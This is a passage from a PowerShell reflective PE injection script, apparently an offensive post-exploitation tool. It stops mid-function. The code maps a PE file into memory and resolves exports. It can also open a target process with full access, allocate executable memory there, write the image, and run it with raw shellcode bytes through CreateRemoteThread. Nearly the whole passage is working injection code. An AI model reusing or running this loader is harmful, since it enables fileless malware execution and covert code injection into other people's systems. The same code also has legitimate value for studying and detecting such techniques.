  2096.             $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
  2097.             if ($Success -eq $false)
  2098.             {
  2099.                 Throw "Call to VirtualProtect failed"
  2100.             }
  2101.  
  2102.             $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null
  2103.  
  2104.             $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
  2105.         }
  2106.     }
  2107.  
  2108.  
  2109.  
  2110.  
  2111.  
  2112.     Function Get-MemoryProcAddress
  2113.     {
  2114.         Param(
  2115.         [Parameter(Position = 0, Mandatory = $true)]
  2116.         [IntPtr]
  2117.         $PEHandle,
  2118.  
  2119.         [Parameter(Position = 1, Mandatory = $true)]
  2120.         [String]
  2121.         $FunctionName
  2122.         )
  2123.  
  2124.         $Win32Types = Get-Win32Types
  2125.         $Win32Constants = Get-Win32Constants
  2126.         $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2127.  
  2128.  
  2129.         if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
  2130.         {
  2131.             return [IntPtr]::Zero
  2132.         }
  2133.         $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
  2134.         $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
  2135.  
  2136.         for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
  2137.         {
  2138.  
  2139.             $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
  2140.             $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
  2141.             $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)
  2142.  
  2143.             if ($Name -ceq $FunctionName)
  2144.             {
  2145.  
  2146.  
  2147.                 $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
  2148.                 $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
  2149.                 $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
  2150.                 $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
  2151.                 return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
  2152.             }
  2153.         }
  2154.  
  2155.         return [IntPtr]::Zero
  2156.     }
  2157.  
  2158.  
  2159.     Function Invoke-MemoryLoadLibrary
  2160.     {
  2161.         Param(
  2162.         [Parameter( Position = 0, Mandatory = $true )]
  2163.         [Byte[]]
  2164.         $PEBytes,
  2165.  
  2166.         [Parameter(Position = 1, Mandatory = $false)]
  2167.         [String]
  2168.         $ExeArgs,
  2169.  
  2170.         [Parameter(Position = 2, Mandatory = $false)]
  2171.         [IntPtr]
  2172.         $RemoteProcHandle,
  2173.  
  2174.        [Parameter(Position = 3)]
  2175.        [Bool]
  2176.        $ForceASLR = $false
  2177.         )
  2178.  
  2179.         $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  2180.  
  2181.  
  2182.         $Win32Constants = Get-Win32Constants
  2183.         $Win32Functions = Get-Win32Functions
  2184.         $Win32Types = Get-Win32Types
  2185.  
  2186.         $RemoteLoading = $false
  2187.         if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
  2188.         {
  2189.             $RemoteLoading = $true
  2190.         }
  2191.  
  2192.  
  2193.         Write-Verbose "Getting basic PE information from the file"
  2194.         $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
  2195.         $OriginalImageBase = $PEInfo.OriginalImageBase
  2196.         $NXCompatible = $true
  2197.         if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
  2198.         {
  2199.             Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
  2200.             $NXCompatible = $false
  2201.         }
  2202.  
  2203.  
  2204.  
  2205.         $Process64Bit = $true
  2206.         if ($RemoteLoading -eq $true)
  2207.         {
  2208.             $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
  2209.             $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
  2210.             if ($Result -eq [IntPtr]::Zero)
  2211.             {
  2212.                 Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
  2213.             }
  2214.  
  2215.             [Bool]$Wow64Process = $false
  2216.             $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
  2217.             if ($Success -eq $false)
  2218.             {
  2219.                 Throw "Call to IsWow64Process failed"
  2220.             }
  2221.  
  2222.             if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
  2223.             {
  2224.                 $Process64Bit = $false
  2225.             }
  2226.  
  2227.  
  2228.             $PowerShell64Bit = $true
  2229.             if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
  2230.             {
  2231.                 $PowerShell64Bit = $false
  2232.             }
  2233.             if ($PowerShell64Bit -ne $Process64Bit)
  2234.             {
  2235.                 throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
  2236.             }
  2237.         }
  2238.         else
  2239.         {
  2240.             if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
  2241.             {
  2242.                 $Process64Bit = $false
  2243.             }
  2244.         }
  2245.         if ($Process64Bit -ne $PEInfo.PE64Bit)
  2246.         {
  2247.             Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
  2248.         }
  2249.  
  2250.  
  2251.  
  2252.         Write-Verbose "Allocating memory for the PE and write its headers to memory"
  2253.  
  2254.  
  2255.         [IntPtr]$LoadAddr = [IntPtr]::Zero
  2256.        $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
  2257.         if ((-not $ForceASLR) -and (-not $PESupportsASLR))
  2258.         {
  2259.             Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue
  2260.             [IntPtr]$LoadAddr = $OriginalImageBase
  2261.         }
  2262.        elseif ($ForceASLR -and (-not $PESupportsASLR))
  2263.        {
  2264.            Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash."
  2265.        }
  2266.  
  2267.        if ($ForceASLR -and $RemoteLoading)
  2268.        {
  2269.            Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop
  2270.        }
  2271.        if ($RemoteLoading -and (-not $PESupportsASLR))
  2272.        {
  2273.            Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop
  2274.        }
  2275.  
  2276.         $PEHandle = [IntPtr]::Zero
  2277.         $EffectivePEHandle = [IntPtr]::Zero
  2278.         if ($RemoteLoading -eq $true)
  2279.         {
  2280.  
  2281.             $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  2282.  
  2283.  
  2284.             $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  2285.             if ($EffectivePEHandle -eq [IntPtr]::Zero)
  2286.             {
  2287.                 Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use"
  2288.             }
  2289.         }
  2290.         else
  2291.         {
  2292.             if ($NXCompatible -eq $true)
  2293.             {
  2294.                 $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  2295.             }
  2296.             else
  2297.             {
  2298.                 $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  2299.             }
  2300.             $EffectivePEHandle = $PEHandle
  2301.         }
  2302.  
  2303.         [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
  2304.         if ($PEHandle -eq [IntPtr]::Zero)
  2305.         {
  2306.             Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
  2307.         }
  2308.         [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null
  2309.  
  2310.  
  2311.  
  2312.         Write-Verbose "Getting detailed PE information from the headers loaded in memory"
  2313.         $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2314.         $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
  2315.         $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
  2316.         Write-Verbose "StartAddress: $(Get-Hex $PEHandle)    EndAddress: $(Get-Hex $PEEndAddress)"
  2317.  
  2318.  
  2319.  
  2320.         Write-Verbose "Copy PE sections in to memory"
  2321.         Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types
  2322.  
  2323.  
  2324.  
  2325.         Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory"
  2326.         Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types
  2327.  
  2328.  
  2329.  
  2330.         Write-Verbose "Import DLL's needed by the PE we are loading"
  2331.         if ($RemoteLoading -eq $true)
  2332.         {
  2333.             Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle
  2334.         }
  2335.         else
  2336.         {
  2337.             Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
  2338.         }
  2339.  
  2340.  
  2341.  
  2342.         if ($RemoteLoading -eq $false)
  2343.         {
  2344.             if ($NXCompatible -eq $true)
  2345.             {
  2346.                 Write-Verbose "Update memory protection flags"
  2347.                 Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
  2348.             }
  2349.             else
  2350.             {
  2351.                 Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"
  2352.             }
  2353.         }
  2354.         else
  2355.         {
  2356.             Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions"
  2357.         }
  2358.  
  2359.  
  2360.  
  2361.         if ($RemoteLoading -eq $true)
  2362.         {
  2363.             [UInt32]$NumBytesWritten = 0
  2364.             $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
  2365.             if ($Success -eq $false)
  2366.             {
  2367.                 Throw "Unable to write shellcode to remote process memory."
  2368.             }
  2369.         }
  2370.  
  2371.  
  2372.  
  2373.         if ($PEInfo.FileType -ieq "DLL")
  2374.         {
  2375.             if ($RemoteLoading -eq $false)
  2376.             {
  2377.                 Write-Verbose "Calling dllmain so the DLL knows it has been loaded"
  2378.                 $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2379.                 $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
  2380.                 $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
  2381.  
  2382.                 $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
  2383.             }
  2384.             else
  2385.             {
  2386.                 $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2387.  
  2388.                 if ($PEInfo.PE64Bit -eq $true)
  2389.                 {
  2390.  
  2391.                     $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
  2392.                     $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
  2393.                     $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  2394.                 }
  2395.                 else
  2396.                 {
  2397.  
  2398.                     $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
  2399.                     $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
  2400.                     $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
  2401.                 }
  2402.                 $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
  2403.                 $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
  2404.                 $SCPSMemOriginal = $SCPSMem
  2405.  
  2406.                 Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
  2407.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
  2408.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
  2409.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  2410.                 Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
  2411.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
  2412.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
  2413.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  2414.                 Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
  2415.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
  2416.  
  2417.                 $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  2418.                 if ($RSCAddr -eq [IntPtr]::Zero)
  2419.                 {
  2420.                     Throw "Unable to allocate memory in the remote process for shellcode"
  2421.                 }
  2422.  
  2423.                 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
  2424.                 if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
  2425.                 {
  2426.                     Throw "Unable to write shellcode to remote process memory."
  2427.                 }
  2428.  
  2429.                 $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
  2430.                 $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  2431.                 if ($Result -ne 0)
  2432.                 {
  2433.                     Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  2434.                 }
  2435.  
  2436.                 $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  2437.             }
  2438.         }
  2439.         elseif ($PEInfo.FileType -ieq "EXE")
  2440.         {
  2441.  
  2442.             [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
  2443.             [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
  2444.             $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr
  2445.  
  2446.  
  2447.  
  2448.             [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2449.             Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in."
  2450.  
  2451.             $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
  2452.  
  2453.             while($true)
  2454.             {
  2455.                 [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
  2456.                 if ($ThreadDone -eq 1)
  2457.                 {
  2458.                     Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
  2459.                     Write-Verbose "EXE thread has completed."
  2460.                     break
  2461.                 }
  2462.                 else
  2463.                 {
  2464.                     Start-Sleep -Seconds 1
  2465.                 }
  2466.             }
  2467.         }
  2468.  
  2469.         return @($PEInfo.PEHandle, $EffectivePEHandle)
  2470.     }
  2471.  
  2472.  
  2473.     Function Invoke-MemoryFreeLibrary
  2474.     {
  2475.         Param(
  2476.         [Parameter(Position=0, Mandatory=$true)]
  2477.         [IntPtr]
  2478.         $PEHandle
  2479.         )
  2480.  
  2481.  
  2482.         $Win32Constants = Get-Win32Constants
  2483.         $Win32Functions = Get-Win32Functions
  2484.         $Win32Types = Get-Win32Types
  2485.  
  2486.         $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2487.  
  2488.  
  2489.         if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
  2490.         {
  2491.             [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
  2492.  
  2493.             while ($true)
  2494.             {
  2495.                 $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
  2496.  
  2497.  
  2498.                 if ($ImportDescriptor.Characteristics -eq 0 `
  2499.                         -and $ImportDescriptor.FirstThunk -eq 0 `
  2500.                         -and $ImportDescriptor.ForwarderChain -eq 0 `
  2501.                         -and $ImportDescriptor.Name -eq 0 `
  2502.                         -and $ImportDescriptor.TimeDateStamp -eq 0)
  2503.                 {
  2504.                     Write-Verbose "Done unloading the libraries needed by the PE"
  2505.                     break
  2506.                 }
  2507.  
  2508.                 $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
  2509.                 $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)
  2510.  
  2511.                 if ($ImportDllHandle -eq $null)
  2512.                 {
  2513.                     Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
  2514.                 }
  2515.  
  2516.                 $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
  2517.                 if ($Success -eq $false)
  2518.                 {
  2519.                     Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
  2520.                 }
  2521.  
  2522.                 $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
  2523.             }
  2524.         }
  2525.  
  2526.  
  2527.         Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
  2528.         $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
  2529.         $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
  2530.         $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
  2531.  
  2532.         $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
  2533.  
  2534.  
  2535.         $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
  2536.         if ($Success -eq $false)
  2537.         {
  2538.             Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
  2539.         }
  2540.     }
  2541.  
  2542.  
  2543.     Function Main
  2544.     {
  2545.         $Win32Functions = Get-Win32Functions
  2546.         $Win32Types = Get-Win32Types
  2547.         $Win32Constants =  Get-Win32Constants
  2548.  
  2549.         $RemoteProcHandle = [IntPtr]::Zero
  2550.  
  2551.  
  2552.         if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
  2553.         {
  2554.             Throw "Can't supply a ProcId and ProcName, choose one or the other"
  2555.         }
  2556.         elseif ($ProcName -ne $null -and $ProcName -ne "")
  2557.         {
  2558.             $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
  2559.             if ($Processes.Count -eq 0)
  2560.             {
  2561.                 Throw "Can't find process $ProcName"
  2562.             }
  2563.             elseif ($Processes.Count -gt 1)
  2564.             {
  2565.                 $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
  2566.                 Write-Output $ProcInfo
  2567.                 Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
  2568.             }
  2569.             else
  2570.             {
  2571.                 $ProcId = $Processes[0].ID
  2572.             }
  2573.         }
  2574.  
  2575.  
  2576.  
  2577.  
  2578.  
  2579.  
  2580.  
  2581.  
  2582.  
  2583.         if (($ProcId -ne $null) -and ($ProcId -ne 0))
  2584.         {
  2585.             $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
  2586.             if ($RemoteProcHandle -eq [IntPtr]::Zero)
  2587.             {
  2588.                 Throw "Couldn't obtain the handle for process ID: $ProcId"
  2589.             }
  2590.  
  2591.             Write-Verbose "Got the handle for the remote process to inject in to"
  2592.         }
  2593.  
  2594.  
  2595.  
  2596.         Write-Verbose "Calling Invoke-MemoryLoadLibrary"
  2597.         $PEHandle = [IntPtr]::Zero
  2598.         if ($RemoteProcHandle -eq [IntPtr]::Zero)
  2599.         {
  2600.             $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR
  2601.         }
  2602.         else
  2603.         {
  2604.             $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
  2605.         }
  2606.         if ($PELoadedInfo -eq [IntPtr]::Zero)
  2607.         {
  2608.             Throw "Unable to load PE, handle returned is NULL"
  2609.         }
  2610.  
  2611.         $PEHandle = $PELoadedInfo[0]
  2612.         $RemotePEHandle = $PELoadedInfo[1]
  2613.  
  2614.  
  2615.  
  2616.         $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
  2617.         if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
  2618.         {
  2619.  
  2620.  
  2621.  
  2622.             switch ($FuncReturnType)
  2623.             {
  2624.                 'WString' {
  2625.                     Write-Verbose "Calling function with WString return type"
  2626.                     [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
  2627.                     if ($WStringFuncAddr -eq [IntPtr]::Zero)
  2628.                     {
  2629.                         Throw "Couldn't find function address."
  2630.                     }
  2631.                     $WStringFuncDelegate = Get-DelegateType @() ([IntPtr])
  2632.                     $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
  2633.                     [IntPtr]$OutputPtr = $WStringFunc.Invoke()
  2634.                     $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
  2635.                     Write-Output $Output
  2636.                 }
  2637.  
  2638.                 'String' {
  2639.                     Write-Verbose "Calling function with String return type"
  2640.                     [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc"
  2641.                     if ($StringFuncAddr -eq [IntPtr]::Zero)
  2642.                     {
  2643.                         Throw "Couldn't find function address."
  2644.                     }
  2645.                     $StringFuncDelegate = Get-DelegateType @() ([IntPtr])
  2646.                     $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate)
  2647.                     [IntPtr]$OutputPtr = $StringFunc.Invoke()
  2648.                     $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)
  2649.                     Write-Output $Output
  2650.                 }
  2651.  
  2652.                 'Void' {
  2653.                     Write-Verbose "Calling function with Void return type"
  2654.                     [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
  2655.                     if ($VoidFuncAddr -eq [IntPtr]::Zero)
  2656.                     {
  2657.  
  2658.                     }
  2659.                     else
  2660.                     {
  2661.                     $VoidFuncDelegate = Get-DelegateType @() ([Void])
  2662.                     $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)
  2663.                     $VoidFunc.Invoke() | Out-Null
  2664.                     }
  2665.                 }
  2666.             }
  2667.  
  2668.  
  2669.  
  2670.         }
  2671.  
  2672.         elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
  2673.         {
  2674.             $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
  2675.             if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
  2676.             {
  2677.  
  2678.             }
  2679.             else{
  2680.             $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
  2681.             $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
  2682.  
  2683.  
  2684.             $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
  2685.             }
  2686.         }
  2687.  
  2688.  
  2689.  
  2690.         if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
  2691.         {
  2692.  
  2693.         }
  2694.         else
  2695.         {
  2696.  
  2697.  
  2698.  
  2699.  
  2700.  
  2701.  
  2702.         }
  2703.  
  2704.         Write-Verbose "Done!"
  2705.     }
  2706.  
  2707.     Main
  2708. }
  2709.  
  2710.  
  2711. Function Main
  2712. {
  2713.     if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
  2714.     {
  2715.         $DebugPreference  = "Continue"
  2716.     }
  2717.  
  2718.     Write-Verbose "PowerShell ProcessID: $PID"
  2719.  
  2720.  
  2721.     $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''
  2722.  
  2723.    if ($e_magic -ne 'MZ')
  2724.    {
  2725.        throw 'PE is not a valid PE file.'
  2726.    }
  2727.  
  2728.     if (-not $DoNotZeroMZ) {
  2729.  
  2730.  
